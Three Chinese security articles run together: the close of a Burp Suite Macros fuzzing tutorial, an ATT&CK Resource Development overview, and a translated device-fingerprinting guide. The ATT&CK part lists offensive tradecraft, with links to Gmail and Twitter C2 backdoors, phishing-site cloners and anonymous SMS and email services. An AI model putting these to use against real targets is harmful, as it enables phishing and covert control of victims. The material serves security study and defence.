Burp Suite Macros的基本设置
**步骤8：**
可以看到burp suite中内置了一个默认规则，具体如下图所示：
默认规则集
**步骤9：**
点击添加按钮创建一个新的规则，具体如下图所示：
给Burp Suite Macros添加规则
**步骤10：**
给新规则添加一段描述性的信息并在rule actions处选择“Check session is valid”，具体如下图所示：
给规则添加描述性信息
**步骤11：**
一旦我们单击确定按钮之后，burp suite工具中的会话处理编辑器将启动，并显示默认值“Issue current
request”。保留默认值并向下滚动鼠标直到出现“if session is invalid, perform the following
action”可选项，具体如下图所示：
规则配置
设置规则配置
**步骤12：**
勾选”if session is invalid, perform the following
action”可选框并单击添加宏。此时，我们获得具有所有代理历史记录的宏记录器（Macro
Recorder）。之后，在网站上单击并选择具有登录凭据的页面，在页面上输入登录的用户名和登录密码并点击确定。
**步骤13：**
单击确定后，Burp Suite Macro 编辑器将启动，我们可以对其使用自定义名称进行命名，还可以选择simulate macro，re-record
macro以及re-analyze macro。
宏记录器
**步骤14：**
在运行测试之前，我们首先需要设置fuzz参数以确定burp suite是否能够正确捕获了与测试参数相关的网络请求，具体如下图所示：
宏记录器参数检查
**步骤15：**
此刻，关于Burp Suite Macros的全部设置工作已经结束了，因此我们现在可以通过发送一个请求来测试Burp Suite
Macros是否能够正常工作。
**步骤16：**
现在点击“final scope”，并将“URL Scope”设置为all urls / suite scope / custom
scope以用来告诉Burp Suite Macros在哪里运行。
**步骤17：**
在“URL Scope”选项中我选择了“include all URLs”，具体如下图所示。此刻，让我们现在再来对我们上述步骤中设置的Burp Suite
Macros进行测试。
Macro的范围设置
**步骤18：**
通过下图我们可以看到：我们正在尝试访问网站的主页面，而burp suite工具的intercept模块中是没有cookies的，具体请求如下图所示：
**步骤19：**
一旦我们打开连接，Burp Suite Macros
会将cookies自动添加到我们发出的请求中，进而使得我们可以正常的访问网站页面！下一步我们尝试去篡改Cookie值以检查能否维持之前建立的会话连接，具体如下图所示：
Burp Suite Macros开始执行
通过上图我们可以看到，即使我们篡改了cookie值，我们依然可以对Web应用执行访问操作。至此，通过Burp Suite
Macros自动化模糊测试Web应用输入点的工作就大功告成啦！
**总结**
**文中步骤1至步骤19展示了一种简单的方法来告诉初学者如何使用burp suite创建基于规则的会话和macros。** burp suite
工具中的Macros是在那些被代理的请求报文经过burp
suite发送之前被发送到Web服务器中的一些HTTP的请求（可以是一个HTTP请求，也可以是一系列HTTP请求），一旦Macros请求被执行，最后一个Macro响应中的一系列参数（具体是哪个参数或者哪些参数是要在配置Macros的时候设置的）能够被接下来的请求所携带，然后自动替换经过代理的请求报文中的参数（这个参数值也需要设置），当然这个过程是透明的，我们感觉不到，在proxy的http
history中我们也看不到请求报文的修改过程（不过我们可以打开Macros的跟踪日志观察到这一过程），这样我们便可以让burp suite
工具中的intercept
模块请求报文中的cookie（假设是我们需要更新的那个参数）自动更新，从而通过服务端的cookie验证，以达到自动化fuzz的目的。
我们可以使用测试中的payloads
来简单地对网站上的输入字段进行fuzz操作，以检查网站是否存在XSS，SQLi，IDOR等漏洞。即使Web应用程序可能由于网络原因而超时不响应，我们也可以在自动扫描或手动测试时保护会话免受垃圾输入的影响，burp
suite macros将帮助我们记录执行的操作并使用凭据自动登录到应用程序中，以继续扫描和爬取Web应用中的网页！ | 社区文章 |
**作者：FA1C0N@RPO-Official
相关阅读：[《ATT&CK 初探--侦察阶段》](https://paper.seebug.org/1583/ "《ATT&CK 初探--侦察阶段》")**
# 介绍
RPO是一个信息安全爱好者成立的小组，我们致力于找到有趣且好玩，充满挑战性的东西。
## 前言
ATT&CK（Adversarial Tactics, Techniques, and Common Knowledge
）是一个攻击行为知识库和模型，主要应用于评估攻防能力覆盖、APT情报分析、威胁狩猎及攻击模拟等领域。从2013年MITRE首次提出这个概念，2015年ATT&CK框架正式发布。在2016年到2020年的一份Excel电子表格发展到如今的社区知识集合。简单的说ATT&CK就是一张表，红蓝双方按照表中的区块对企业设施展开对抗，从而发现安全的薄弱点。我们未来会不断更新整个框架的技术细节和利用/防御方式。
## 正篇
### 资源开发利用阶段（Resource Development）
攻击者在试图建立可以用来支持他们进行下一步行动的资源（基础）。资源开发包括攻击者创建、购买或破坏/窃取可用于渗透目标的资源的技术。此类资源包括基础设施、帐户或功能。攻击者可以利用这些资源在整个攻击周期的其他阶段提供帮助。
由于整个资源开发阶段的实施都与攻击者自己部署的服务有关，所以防守方很难在相关的环节采取措施阻止和预防攻击。因此我们只会在有有效缓解措施的攻击方式下介绍缓解措施。
#### 一 获取基础设施 （Acquire Infrastructure）
攻击者在渗透目标期间可以购买或租用可使用的基础设施。基础架构解决方案包括物理或云服务器、域和第三方 Web 服务。此外，僵尸网络也可供出租或购买。
##### 域（Domains）
攻击者会购买可在定位期间使用的域。域名可以指向一个或多个 IP
地址。攻击者可以购买或者在某些情况下免费获得。攻击者可以将购买的域用于各种目的，包括网络钓鱼、入侵和命令与控制（C2）。攻击者可以选择与合法域相似的域，包括通过使用相近的字母和数字变换，相同含义的不同表述或使用不同的顶级域
(一级域名，例：com，xyz，org等)。
[误植域名攻击](https://baike.baidu.com/item/%E8%AF%AF%E6%A4%8D%E5%9F%9F%E5%90%8D/22748905?fr=aladdin)（URL劫持）可用于借助[Drive-by
Compromise](https://blog.csdn.net/sojrs_sec/article/details/105634010)（例如某些XSS平台：beef-xss）的方式交付有效载荷。
**使用方式**
攻击者还可以使用国际化域名 (IDN，某国语言+顶级域名的形式) 来创建视觉上相似的域以用于操作。
每个域名注册商都维护一个可公开查看的数据库，该数据库显示每个注册域名的相关信息。但是攻击者可能会使用域名隐私保护功能来掩盖相关信息。攻击者还可能会通过使用不同的注册信息和向不同的域注册商购买域来进一步阻断跟踪其基础设施的工作。
**防守方缓解措施**
相关企业可以有意注册与自己相似的域并且时刻关注域名的状态，以阻止攻击者创建相近域名或域名抢注。
##### DNS服务器（DNS Server）
攻击者可以设置自己的DNS服务器。在入侵成功之后的活动期间，攻击者可能会将 DNS
流量用于各种任务来降低被受害方发现的概率（DNS隧道），包括命令与控制（C2）。
攻击者可以选择配置和运行自己的 DNS 服务器来支持操作，而不是劫持现有的 DNS 服务器。使用自己的DNS服务器难度会低得多。
通过运行自己的 DNS 服务器，攻击者可以更好地控制他们管理C2流量。通过对 DNS 服务器的控制，攻击者可以配置 DNS
应用程序以提供对恶意软件的条件响应，并且通常在基于 DNS 的 C2 通道结构方面具有更大的灵活性。
**使用方式**
现在有很多现成的工具可以用来搭建DNS隧道，例如[dnscat2](https://github.com/iagox86/dnscat2)等。
##### 虚拟专用服务器（Virtual Private Server）
攻击者可以租用可在渗透目标期间使用的虚拟专用服务器
(VPS)。目前有多家云服务提供商将虚拟机/容器作为服务进行销售。使用云基础设施可以让攻击者更轻松地配置、修改、移动甚至销毁他们的基础设施。
获取 VPS 也可用于攻击的后期阶段，例如命令与控制（C2）。攻击者还可以从 VPS 服务提供商那里获取基础设施，这些服务提供商以极少的注册信息租用 VPS
而闻名，从而允许更多地匿名获取基础设施。
常见的VPS服务提供商有搬瓦工，AWS，vultr等。
##### 服务器（Server）
攻击者在渗透目标期间可以购买、租用可使用的物理服务器。与VPS不同，攻击者可以选择配置和运行自己的物理服务器来执行攻击，这使得搭建相关基础设施时具有更高的自定义空间。高配置的物理服务器往往能表现出比VPS更好的性能。但相对而言，物理服务器的配置和移动没有VPS轻松。
##### 僵尸网络（Botnet）
攻击者可以购买、租用可在渗透目标期间使用的已被侵入可被控制的网络。僵尸网络是受感染系统的网络，可以指示其执行协调任务。借助僵尸网络，攻击者可能会执行后续活动，例如钓鱼或DDOS。
一些僵尸网络掌握者往往通过出让僵尸网络的资源来获取收益（挖矿，DDOS等）。
##### WEB服务（Web Services）
攻击者可能会注册可使用的 Web 服务。存在多种流行网站供攻击者注册基于 Web
的服务，这些服务可能会在攻击者渗透周期的后期阶段被滥用，例如在命令与控制（C2）或通过web服务渗透。
**使用方式**
利用社交工具的动态信息、个性签名等来向已被控制的受害者机器发号施令。
**相关工具**
[twittor](https://github.com/PaulSec/twittor)：利用twitter做C2的工具
[gcat](https://github.com/byt3bl33d3r/gcat)：一个隐秘的基于 Python 的后门，使用 Gmail
作为命令和控制服务器
[gdog](https://github.com/maldevel/gdog)：一个隐秘的基于 Python 的 Windows 后门，使用 Gmail
作为命令和控制服务器
#### 二 盗取账户 （Compromise Accounts）
攻击者可能会盗取帐户。对于包含社会工程的操作，在线角色的利用会很重要。攻击者可能会破坏，入侵现有帐户，而不是创建帐户。如果潜在受害者与被入侵账户的角色有一定的关系，则利用该角色可能会在潜在受害者群体中产生一定程度的信任（更有利于社工的展开）。
存在多种方法来盗取帐户，例如通过网络钓鱼收集凭据、从第三方站点购买凭据或通过暴力破解凭据（重用密码）。在入侵，盗取帐户之前，攻击者可能会进行侦察，以确定要入侵哪些帐户来执行进一步操作的决策。
##### 社交媒体账户（Social Media Accounts）
角色可能存在于单个站点或跨多个站点（例如：Facebook、LinkedIn、Twitter、Google
等）。被盗取的账户信息可能需要一定的修改，这可能包括填写或修改个人资料信息、进一步开发社交网络。
##### Email账户（Email Accounts）
攻击者可能会直接利用被盗用的电子邮件帐户进行社工攻击（网络钓鱼等）。
#### 三 攻陷基础设施（Compromise Infrastructure）
与获取基础设施不同，直接攻陷基础设施并作为自己的资源进行下一步操作可以隐藏攻击者的行踪（避免直接接触，除非溯源者可以攻陷跳板），也会节省很多成本。但被攻陷的基础设施建设起来也相当费力（如果不想被溯源者攻陷）
##### 域（Domains）
攻击者会在攻击目标期间劫持目标的域或者子域。域名劫持注册是未经原始注册人许可便更改域名注册，攻击者通过获取域所有者邮箱账号，进而发送忘记密码的邮件给域名注册商，从而更改域注册。攻击者还可以借助社会工程学域名，续订过期域名的方式实现攻击。比如因名称空间冲突造成的困扰，微软以高价买下了魔鬼域名corp.com。还存在一些比如[恶意抢注别的公司到期的域名](https://www.donews.com/news/detail/4/3037654.html)，然后高价卖回去的操作。
当组织有指向不存在或取消分配资源的 DNS 条目时，可能会发生子域名接管。在这种情况下攻击者可以控制子域进行操作，而该域名相关联的信托也受益。
##### DNS服务器（DNS Server）
攻击者会通过攻击第三方DNS服务器，在 post-compromise期间，攻击者会利用DNS协议作为C2协议等其他利用方式。
通过攻击DNS服务器，攻击者可以更改DNS记录这种攻击可以导致流量的重定向，攻击者可以从中收集信息和凭证。攻击者也可以将DNS解析到恶意服务器，而不是实际指向的位置。
**使用方式**
DNS污染和DNS劫持
##### 虚拟专用服务器（Virtual Private Server）
攻击者可能会随机/针对性的对VPS服务器进行攻击，获取权限后将其作为基础设施，从而隐蔽自己的攻击IP，从而逃避防守方的溯源。
##### 服务器（Server）
与上文中`虚拟专用服务器`的操作相似，故略过
##### 僵尸网络（Botnet）
攻击者会破坏很多第三方系统，形成一个僵尸网络。僵尸网络是一个受破坏的网络系统，可以执行调度任务，比如16年的Mirai网络。攻击者也可能对现有的僵尸网络进行接管，例如将机器重定向到C2服务器上。除了这些，攻击者还可以利用僵尸网络实现大规模网络钓鱼或DDOS攻击。
##### WEB服务（Web Services）
与上文中`WEB服务`的操作相似，故略过。
#### 四 开发能力（Develop Capabilities）
攻击者需要具备自行开发工具的能力，而不是购买、下载甚至窃取。这是识别开发要求和构建解决方案（例如恶意软件、漏洞和自签名证书）的过程。攻击者可能会依赖自己的开发能力在接下来的步骤中发挥一定的作用。
开发能力可能需要不同的技能组合。所需的技能可能位于内部，也可能需要外包。
##### 恶意软件（Malware）
构建恶意软件可能包括开发负载、装载器（droppers）、后渗透工具、后门、免杀工具（packers）、C2
协议以及创建受感染的可移动媒体。攻击者可能会开发恶意软件来支持他们的操作，从而创建一种方法来持久化控制、绕过防御和后渗透的行为。
##### 代码签名证书（Code Signing Certificates）
代码签名证书往往是具有迷惑性的东西。攻击者可能会创建自签名代码签名证书使被签名的软件具有一定的迷惑作用。代码签名是对可执行文件和脚本进行数字签名以确认软件作者并保证代码未被更改或损坏的过程。代码签名为开发人员的程序提供了一定程度的真实性，并保证程序未被篡改。用户或安全工具相对于未签名的代码会更信任签名的代码，即使他们不知道证书的颁发者或作者是谁。
在代码签名之前，攻击者可能会开发自签名证书以用于操作。
##### 数字证书（Digital Certificates）
攻击者可以创建自签名/证书机构签发的SSL/TLS证书。如果攻击者窃取到受害者证书的密钥，那么他们可以知道用该密钥进行沟通的对话内容。攻击者也可以用证书加密C2流量。
##### 漏洞利用程序（Exploits）
漏洞利用往往通过错误或漏洞来导致计算机硬件或软件上发生异常行为。攻击者可能会寻找并开发自己的漏洞，而不是从网上查找/修改已有漏洞或从漏洞供应商处购买漏洞。攻击者可能会使用通过漏洞获取的信息来专注于漏洞利用开发工作。作为漏洞利用开发过程的一部分，攻击者可能会通过模糊测试和补丁分析等方法发现可利用的漏洞。可以对某cms前后两个版本进行对比，发现修复的地方然后反推漏洞所在。
攻击者可能会在攻击周期的各个阶段使用漏洞利用（即利用面向公众的应用程序、利用客户端执行、利用特权升级、利用防御规避、利用凭据访问、利用远程服务以及利用应用程序或系统利用）。
#### 五 建立账户（Establish Accounts）
攻击者在攻击过程中可以创建和培养一批账号来进行更深层次的攻击。攻击者会在社交媒体，网站或其他公开信息中伪装这批账号的简介，仪表，过往历史和工作单位，从而在之后用这批虚假账号进入目标企业/单位。
对于需要社会工程的攻击来说，在线角色的利用非常重要。这些角色可能是虚构或者冒充真实的人。该角色可能存在于单个或多个网站，比如脸书，推特，github，dorkerhub等。
建立账号还可以包括创建电子邮件提供商的账户，从而直接用于钓鱼攻击。
**使用方式**
这里只说一些常见的匿名邮箱和在线验证码接收平台，不涉及黑灰产会用到的工具
<https://10minutemail.com/>
[短信验证码在线接收码平台](https://www.yinsiduanxin.com/)
##### 社交媒体账户（Social Media Accounts）
与上文中`盗取社交媒体账户`之后的操作相似，故略过。
##### Email账户（Email Accounts）
与上文中`盗取Email账户`之后的操作相似，故略过。
#### 六 获取组件 （Obtain Capabilities）
攻击者会购买/窃取/下载渗透过程中会使用到的组件，而不是自己内部开发。这些组件包含恶意软件，工具及其许可证，漏洞，证书以及与漏洞相关的信息。这些组件可以在攻击周期的多个阶段提供帮助。
除了从网上下载免费恶意软件，工具和漏洞外，攻击者还可能从第三方购买这些组件。第三方包含专门开发恶意软件，漏洞或个人。
除了购买，攻击者还可能从第三方窃取这些组件，包含软件许可证，恶意软件，SSL/TLS和代码签名证书，或者查看或入侵公开/非公开的漏洞数据库。
##### 恶意软件（Malware）
恶意软件可以包括payload，后渗透工具，后门，装载器，C2协议。攻击者可以通过这些软件获取维持权限，绕过防护和执行后渗透攻击。
这部分由于涉及的东西太多，我们会专门开一篇（挖个坑）文章介绍的。
##### 工具（Tool）
工具可以是开源或闭源，免费或商业。一个工具只要能在攻击中起到作用，即使它的本意不是恶意的也算作恶意工具，比如PsExec。设计商业许可证的红队团队工具，比如CobaltStrike。商业软件通过购买，窃取许可证或破解许可证获得，比如Jetbrains全家桶，Visual
Studio，burpsuite专业版等。
##### 代码签名证书（Code Signing Certificates）
代码签名是数字签名可执行文件和脚本的过程，以确认软件作者并保证代码未被更改或损坏，可用于绕过需要签名代码在系统上执行的安全策略。攻击者会购买/窃取可以在攻击中使用的代码签名，从而绕过安全控制。因为用户信任被签名后的代码，而不是未签名的代码，即便这个签名是攻击者冒充/伪造的。
购买代码签名证书可以使用前组织或使用从以前受损的实体窃取的信息，使攻击者能够验证证书提供商为该实体。攻击者也可能直接从受损害的第三方窃取代码签名材料。
**使用方式**
windows购买合法代码证书的方式如下：
<https://docs.microsoft.com/zh-cn/windows-hardware/drivers/dashboard/get-a-code-signing-certificate>
##### 数字证书（Digital Certificates）
攻击者可能会购买/窃取可用于渗透时的 SSL/TLS 证书。SSL/TLS
证书旨在确保信任关系。它们包括有关密钥的信息、有关其所有者身份的信息以及已验证证书内容的实体的数字签名是正确的。如果签名有效，并且检查证书的人信任签名者，那么他们知道他们可以使用该密钥与其所有者进行沟通。
攻击者可以购买或窃取 SSL/TLS 证书以推进其操作，例如加密 C2 流量（例如：与Web
协议的非对称加密），如果证书可信或以其他方式添加到信任根源（即安装根证书），则甚至启用中间人。购买数字证书可以使用前组织或使用从以前受损的实体窃取的信息，使攻击者能够验证证书提供商为该实体。攻击者也可能直接从受损害的第三方（包括证书当局）窃取证书材料。攻击者可能会注册或劫持域名，然后购买
SSL/TLS 证书。
##### 漏洞利用（Exploits）
Exploits
也就是我们常说的EXP/POC。攻击者可能会购买、窃取或下载在渗透过程中可以使用的漏洞。漏洞利用错误，在计算机硬件或软件上造成意外行为。攻击者可能会从网上找到/修改漏洞，或者从漏洞利用供应商处购买，而不是开发自己的漏洞。
攻击者可以监控漏洞披露网站来了解现有漏洞以及新发现的漏洞的状态。在发现漏洞和公开漏洞之间通常存在延迟。攻击者可以渗透已知进行开发研究和开发的系统，以便获得这些知识，供后续操作使用。
**使用方式**
这里只推荐一些会直接给exp的漏洞网站/工具
[seebug](http://seebug.org/)收录的漏洞一般都会给漏洞的poc链接，再结合zoomeye/fofa就能愉悦喜加一（吐槽一下fofa，zoomeye每月10000免费接口查询额度，fofa你好好学学，也吐槽一下zoomeye能不能开个夜间模式，界面太白看着难受）
[Hacking8安全信息流](https://i.hacking8.com/vuls/)
[github-cve-monitor](https://github.com/yhy0/github-cve-monitor)
##### 漏洞信息（Vulnerabilities）
攻击者会监控漏洞披露/数据库，以了解现有漏洞以及新发现的漏洞的状态。通常在发现漏洞和公开漏洞之间会有延迟，也就是我们常说的1day。攻击者可能针对已知进行漏洞研究（包括商业供应商）的系统。对漏洞的了解可能导致攻击者搜索现有漏洞或尝试自行开发漏洞（即挖0day）。
#### 七 筹划能力（Stage Capabilities）
攻击者在确定攻击目标时会通过上传，安装或其他方式建立自己的能力。
筹划能力可以帮助攻击者进行一些初始化访问和妥协后的行为，包括但不限于：
* 借由不当操作的攻击（Drive-by Compromise）
* 通过xss注入合法网站窃取cookie/OAuth/身份令牌等
* 通过广告提供商的合法广告插入恶意脚本
* 在内置web应用程序界面的客户端插入恶意脚本
* 建立钓鱼网站
* 上传软件或者工具到撕开口子的服务器，从而继续攻击内网和部署C2工具。
* 安装之前获得的SSL/TLS证书用于加密C2流量
##### 上传恶意软件（Upload Malware）
攻击者会将恶意软件上传到目标可以访问的第三方软件托管（如github、Pastebin、CNET、AWS 社区 AMIS、Docker
Hub）或者攻击者自己的基础设施（服务器，网站等）。恶意软件包含payload，dropper，后渗透工具，后门以及其他恶意内容。比如攻击者会通过payload撕开外网的一个口子后，开始投放C2工具。
在运气爆表的时候，受害者可能自己直接下载/安装这些后门软件。将后门软件伪装成合法的软件能大大增加受害者无意间触发这种漏洞的可能。比如之前的pip库通过抢占和故意写差字母误使程序员安装恶意pip包和[phpstudy](\[phpStudy官方：关于phpstudy被植入后门事件的澄清说明-phpstudy-PHP中文网\]\(https://www.php.cn/phpstudy-430651.html\))从非官网下载的版本被植入后门等事件。
##### 上传工具（Upload Tool）
这部分上传的位置与`上传恶意软件部分相同`，因此不详细展开。
##### 安装数字证书（Install Digital Certificate）
攻击者可以安装 SSL/TLS 证书，这些证书可用于优化攻击，例如加密 C2 流量，或窃听受害者的通信。数字证书的安装可以针对许多服务器类型进行，包括
Web 服务器和电子邮件服务器。
##### Drive-by target
攻击者可能会上传或注入恶意内容，如javaScript，这可以通过多种方式实现，包括将恶意脚本直接插入网页或其他用户可控的 Web
内容（如论坛帖子）。攻击者也可能制作恶意网络广告，并通过合法广告提供商在网站上购买广告空间。除此之外，攻击者还可以编写xss脚本来收集用户的浏览器信息（如通过蓝莲花战队的xss平台编写利用脚本用来收集受害者主机信息），从而寻找受害者主机的其他供给面。
被攻击者入侵并用于进行Drive-by的网站可能是特定社区（如政府、特定行业或地区）访问过的网站，其目标是根据共同利益损害特定用户或一组用户。这种有针对性的攻击是指战略性迂回网络攻击（strategic
web compromise，通过攻击目标经常访问的网站来达到入侵目的）或水坑攻击（watering hole attack）。
攻击者在获取基础架构（域）时可能会购买类似于合法域名（例如：同字形、错别字、不同顶级域名等）的域名，以帮助Drive-by target。
##### 链接攻击（Link Target）
攻击者可以通过用户点击恶意链接从而泄露信息或者RCE。链接攻击可以用于钓鱼攻击，例如发送一封带有社会工程文字的电子邮件，诱骗用户主动点击或复制URL粘贴到浏览器中。
通常链接的目标站点是一个HTML界面，其中包含一些客户端脚本如JavaScript等。攻击者会克隆合法网站的登录界面伪装自己的钓鱼站点，从而诱导用户泄露自己的登录凭证。
攻击者也可能会上传恶意软件，并利用链接诱使用户去下载/运行。
攻击者可以在获取基础架构（域）时购买类似于合法域的域（例如：同字形、错别字、不同顶层域名等），从而更好的伪装站点，也可以使用短链接服务。
**使用方式**
下面两个工具都可用于网站克隆
[httrack](http://www.httrack.com/)
[setoolkit](https://github.com/trustedsec/social-engineer-toolkit)
## Refer
<https://attack.mitre.org/tactics/TA0042/>
<https://www.secpulse.com/archives/94973.html>
<https://pentestlab.blog/2017/08/03/command-and-control-gmail/>
<https://zhuanlan.zhihu.com/p/86538629>
<https://zhuanlan.zhihu.com/p/338885271>
<https://blog.csdn.net/weiyuanke/article/details/87256937>
<https://blog.csdn.net/sojrs_sec/article/details/105634010>
* * * | 社区文章 |
# 设备指纹指南：下篇
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**[设备指纹指南：上篇](https://www.anquanke.com/post/id/216259)**
## 五、设备指纹向量
用设备指纹需要考虑很多特性，在身份验证的需求下，准确率要求很高。广告营销在80%或90%的准确率可能就够了，但安全领域显然不行。
为提高准确性，设备指纹采用了多个指纹向量。前面说的所有向量都可自由组合，但整体受限于用户体验和验证成本。第一到第三类涉及用户端JavaScript，会产生非零但较小的开销。为了帮助比较向量，并提供组合可能，还需要提供可识别性的预测值。
### 5.1 稳定性
实际上设备指纹的所有组成部分都会发生变化，但有些组成（如台式机或很少移动设备的时区）的变化频率可能比其他组成（如浏览器版本）低得多。设备指纹的重大变化可能要求服务器对用户的认证降级，通过二次短信重新验证。因此从可用性的角度来看，最好是结合一个随时间稳定的指纹方法，即在给定时间内，有足够多稳定向量。通过结合多个向量实现变化的评分机制，可以提高整体指纹的稳定性。在Eckersley的实证研究中，提到的算法在65%的设备中正确地将新旧指纹关联，准确率达到99.1%。如果这样的算法用于身份验证，误报仍然很大。
第一类到第三类的向量大多比较稳定，但也有个别例外：
1(a)如果用户升级操作系统、切换浏览器、安装或删除浏览器插件等，主要的软硬件细节会偶尔发生变化。
1(d)电池信息会发生变化，因为电池会老化。
2(a)HTML5画布渲染细节会随着浏览器、操作系统或显卡驱动更新而变化。
2(e)CSS功能检测和2(f)JavaScript标准一致性会随着浏览器更新而改变。
相比之下，第四类的向量一般不太稳定：
4(a)IP地址、4(b)地理位置和4(f)DNS解析会随着用户从不同地点登录而改变。
4(c,d)
TCP/IP协议栈指纹会随着路由变化，这些变化会影响到用户和服务器之间的往返延迟和跳数等。如果用户从不同的网络位置登录，则可以观察到额外的变化，例如，网络链路的MTU，或者由于不同的防火墙规则对探测数据包的响应。
4(e)协议指纹会随着浏览器或SSL/TLS库的更新而变化。
4(h)随着时间的推移，NAT后面主机是不稳定的，设备可能会进入和离开网络。
例外的是4(i)广告拦截器检测和4(g)时钟偏移，TCP时间戳反映的是CPU时钟偏移，相对稳定。哪怕是在长时间内不稳定的向量，如果只在短时间内进行识别，例如在一天、一小时或一个会话中，则仍然有用。
### 5.2 可重复性
可重复性定义为：如果设备软硬件和网络配置不变，那么一个向量就会产生相同的结果，而稳定性主要涉及设备配置的变化。除了以下这些例外，大多数向量都是可重复的。
2(b) 系统性能因设备任务负担有所不同。对于移动设备来说也可能取决于温度，移动芯片组在高温下会降低速度。
2(c)、4(g) 温度会影响硬件传感器数据和时钟偏移。
2(d)滚轮指纹要求用户使用滚轮，如果用户没用滚轮，那么该向量不可重复。
2(h) 可用 VRAM 会根据设备当前使用的数量而变化。
4(f) 由于DNS解析服务器的负载均衡，使用的DNS解析服务器可能不同。
4(h)计算NAT后面的主机会因网络上存在其他设备而不同。
如果在整个设备指纹中使用了很多向量，并且使用了适当评分机制，那么不可靠指纹向量则仍然有价值。
### 5.3 资源使用
指纹向量需要系统资源CPU、内存或I/O，会带来性能消耗和电池成本。对于每次认证过程只给设备打一次指纹的网站来说，这一点并不太重要，但对于在整个会话中反复打指纹来检测会话劫持的网站来说，这一点很重要。
大多数向量开销都较小，在毫秒范围内的处理时间，但少数可能需要秒级的时间:1(d)电池信息，2(b)系统性能，2(c)硬件传感器，和2(h)显卡RAM检测。而2(b)消耗CPU，2(h)消耗
GPU内存，1(d)和2(c)需要时间收集足够的数据，因此速率降低一半。
### 5.4 抗欺骗性
攻击者会伪造相似设备指纹，因此需要抗欺骗性。第一类到第三类的向量，浏览器运行JavaScript，并将输出返回到服务器，这样攻击者很容易拦截响应，但有三种情况下例外：
1(e)Evercookies是有状态的，可以使用例如Flash
cookies和HTML5本地存储来存储全局标识符，这些标识符受到同源策略的保护。与其说是欺骗，不如说是evercookies可能被攻击者窃取并重放，不过这需要利用漏洞。
2(c)硬件传感器，可以通过从用户端获取传感器数据并重放来进行欺骗，但首先获取这些数据需要用户配合，浏览器在访问麦克风之前需要询问用户许可。
3(c)如果插件被设计成只与安装该插件的网站进行通信，则攻击者需要更多方法才能获得这个信息，例如硬件标识符。
相比之下，第四类的抗欺骗性更强，但没有一个可完全免疫。以下向量具有较强的抗欺骗性：
4(a)
由于整个互联网的源地址验证不足，IP源地址欺骗是可以做到的，而且经常用来发动DoS攻击。但是，使用欺骗源地址与主机建立双向通信就困难了，因为服务器总是会向欺骗地址发送响应数据包。
4(g)时钟偏移指纹可用于识别无线传感器和802.11无线局域网中的接入点，这两种技术都依赖于各自MAC协议中使用的时间戳。Arackaparambil的论文说明，时钟偏移可以被欺骗，但可通过分析检测到不规则性，使用较小的801.11信标帧传输间隔(通常为100ms)会使不规则性更明显，从而更容易检测到。与MAC协议的时间戳相比，从TCP时间戳中得出的时钟偏移结果更粗糙，但仍然可被检测到。
4(i)广告拦截器检测和4(e)协议指纹检测，可以通过使用与目标设备相同浏览器和版本很容易欺骗，除此之外其余的第四类向量中属于部分抗欺骗：
4(b)位置验证，使用代理，浏览器位置 API 的地理定位可以很容易被欺骗，但这属于第一类。
4(c,d) 欺骗操作系统TCP/IP协议栈可以通过各种现成的工具，伪造网络或链路相关的信息，如跳数、延迟和MTU，需要一些成本。
4(f) 如果用户使用运营商的DNS服务器，则攻击者需要篡改DNS指向。
4(h)欺骗NAT后面的主机数量的难度根据技术实现有所不同，基于IPv4 ID字段的简单技术比较容易欺骗，但基于时钟偏移的技术则比较困难。
因此，可以通过策略增加防御能力。例如对于2(a)HTML5画布指纹，当设备首次与账户关联时，服务器可以发送多个挑战，让其渲染不同文本和图形，用户端返回相应的结果。然后，服务器可以在每次认证时随机选择挑战子集。提高对简单重放的防御能力可提高抗欺骗性，但攻击者资源可能比较丰富，尤其黑产，能够为任何挑战配置模仿。不同策略可能会增强其他向量的抗欺骗性，例如对于2(b)系统性能，可以用用用户端数学题的方法，即服务器向用户端发送数学题，测量每次计算的时间变化。
### 5.5 被动客户端
被动客户端不需要设备的明确支持，第一到第三类的所有向量都需要浏览器执行JavaScript并将输出返回，这些都不是被动的。第四类向量在某种程度上都是被动的，因为不需要明确的客户端合作授权。
4(b)地理定位可以是被动的，主要取决于机制，例如基于IP的地理定位是被动的，不需要用户端JavaScript的向量。
4(c)主动式TCP/IP协议栈指纹需要向用户端发送额外的探针包来观察响应，发送探测数据包不需要用户合作。
第四类中的所有其他设备都是被动的，仅检查服务器和用户之间现有的HTTP流量，就可以用这些设备指纹来构建。
### 5.6 可区分性
为了描述指纹向量能够识别设备的粒度，我们使用了可区分性。业界一般会熵来表示，但是香农熵是相对于一个既定的概率分布而言的，而我们实际上很难对设备指纹进行完整描述。可识别性取决于用户设备空间的大小，以及指纹属性的多样性。一个向量的可区分性可能取决于一个网站的目标用户分布，例如对于中文网站用户，系统时间和地理位置的分离度较低。
为了帮助比较和选择要组合的向量，我们对每个向量的可区分性进行了定性分析：
1(a)主要软硬件细节：高，因为它包括user-agent、插件列表、屏幕分辨率、是否存在localStorage和sessionStorage等属性，另外还有其他属性。
1(b) WebGL信息：低，根据初步实验得出。
1(c)系统时间：取决于时区，一共24个值，但实际上用户在不同时区的分布会有偏移。时钟偏移也可以测量，但缺少大规模试验，所以这个向量整体评定为低。
1(d)电池信息，低，一般设备电池基本上在4-10小时内，如果充电则可提供更多的区分度。
1(e)Evercookies：非常高，服务器可以在设备上保存一个全球唯一标识符。
1(f)WebRTC：中，大多数家用路由器分配的IP地址在192.168.0.x范围内，因此这些IP地址有上限。
1(g)密码自动填充和4(i)广告拦截器检测：非常低，每个都是二进制值。
2(a)HTML5画布指纹被：中，提供了˜8.6位的区分信息。
2(b)系统性能：低，在几秒钟时间的约束下，可测量系统性能的粒度有限。
2(c)硬件传感器：中，根据Bojinov收集的3000多个设备加速度计数据，计算出分布的熵为˜7.5位。
2(d)滚轮指纹：非常低。滚轮指纹产生一个二进制值来区分滚轮和触摸板，但也有可能因为操作系统滚动速度设置造成。
向量2(e)、2(f)、2(g)尚未有实证研究报告，但估计位非常低。这些向量的作用是区分不同的浏览器厂商和版本，对于这些厂商和版本，其分布很可能偏向于最新的版本。
2(h)显卡RAM：低或非常低。因为选择很有限，例如1GB、2GB、4GB。而且很多设备共享显卡内存，这一点变得复杂了。
2(i)字体检测：低或中。通过Flash插件枚举所有字体的结果是7-14位，这个差值主要是由于移动设备上字体多样性大大降低。JavaScript字体检测是无序的，不能进行完全枚举，它使用已知字体列表进行测试。
2(j)音频处理：中，概念上类似于2(a)。
